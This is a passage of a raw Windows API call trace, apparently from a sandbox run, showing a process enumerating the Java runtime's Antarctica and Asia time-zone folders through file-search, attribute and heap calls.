dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1332f60, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1332f60, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0088.635] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1332f60) returned 1 [0088.635] NtClose (Handle=0x164) returned 0x0 [0088.635] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250c48 [0088.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250cd0 [0088.636] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0088.638] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.638] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x65, dwReserved0=0x0, dwReserved1=0x0, cFileName="Casey", cAlternateFileName="")) returned 1 [0088.638] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.638] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.638] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.639] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.639] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.639] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf1c8 [0088.639] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326918 [0088.639] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8900) returned 0x12ea380 [0088.639] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x75, dwReserved0=0x0, dwReserved1=0x0, cFileName="Davis", cAlternateFileName="")) returned 1 [0088.639] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.640] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.640] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.640] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.640] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.640] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf1e8 [0088.640] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.641] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.641] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0x0, dwReserved1=0x0, cFileName="DumontDUrville", cAlternateFileName="")) returned 1 [0088.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.641] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.642] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.642] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.642] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130c370 [0088.643] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250c48) returned 1 [0088.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf208 [0088.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130fb20 [0088.643] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.643] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x311, dwReserved0=0x0, dwReserved1=0x0, cFileName="Macquarie", cAlternateFileName="")) returned 1 [0088.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.643] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.644] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf228 [0088.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250c48 [0088.645] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.645] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mawson", cAlternateFileName="")) returned 1 [0088.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.645] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.646] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf248 [0088.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13266f8 [0088.646] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.647] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x464, dwReserved0=0x0, dwReserved1=0x0, cFileName="McMurdo", cAlternateFileName="")) returned 1 [0088.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.647] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.647] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf268 [0088.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13269a0 [0088.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.648] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0x0, dwReserved1=0x0, cFileName="Palmer", cAlternateFileName="")) returned 1 [0088.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf288 [0088.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326a28 [0088.650] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.650] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rothera", cAlternateFileName="")) returned 1 [0088.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.650] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.651] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.651] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.651] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf2a8 [0088.651] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326ab0 [0088.651] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.651] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Syowa", cAlternateFileName="")) returned 1 [0088.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.652] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.652] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf2c8 [0088.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326b38 [0088.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.653] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vostok", cAlternateFileName="")) returned 1 [0088.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf2e8 [0088.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326bc0 [0088.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.655] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vostok", cAlternateFileName="")) returned 0 [0088.655] GetLastError () returned 0x12 [0088.655] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0088.655] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0088.655] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.655] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x65, dwReserved0=0x0, dwReserved1=0x0, cFileName="Casey", cAlternateFileName="")) returned 1 [0088.655] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x75, dwReserved0=0x0, dwReserved1=0x0, cFileName="Davis", cAlternateFileName="")) returned 1 [0088.655] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0x0, dwReserved1=0x0, cFileName="DumontDUrville", cAlternateFileName="")) returned 1 [0088.655] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x311, dwReserved0=0x0, dwReserved1=0x0, cFileName="Macquarie", cAlternateFileName="")) returned 1 [0088.655] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mawson", cAlternateFileName="")) returned 1 [0088.655] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x464, dwReserved0=0x0, dwReserved1=0x0, cFileName="McMurdo", cAlternateFileName="")) returned 1 [0088.655] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0x0, dwReserved1=0x0, cFileName="Palmer", cAlternateFileName="")) returned 1 [0088.655] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rothera", cAlternateFileName="")) returned 1 [0088.655] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Syowa", cAlternateFileName="")) returned 1 [0088.655] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vostok", cAlternateFileName="")) returned 1 [0088.656] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vostok", cAlternateFileName="")) returned 0 [0088.656] GetLastError () returned 0x12 [0088.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250cd0) returned 1 [0088.656] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0088.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130c370) returned 1 [0088.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.657] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Asia", cAlternateFileName="")) returned 1 [0088.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.657] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.658] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0088.659] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0088.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0088.659] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0088.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0088.659] NtClose (Handle=0x178) returned 0x0 [0088.660] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250cd0 [0088.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.660] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0088.662] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.662] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: 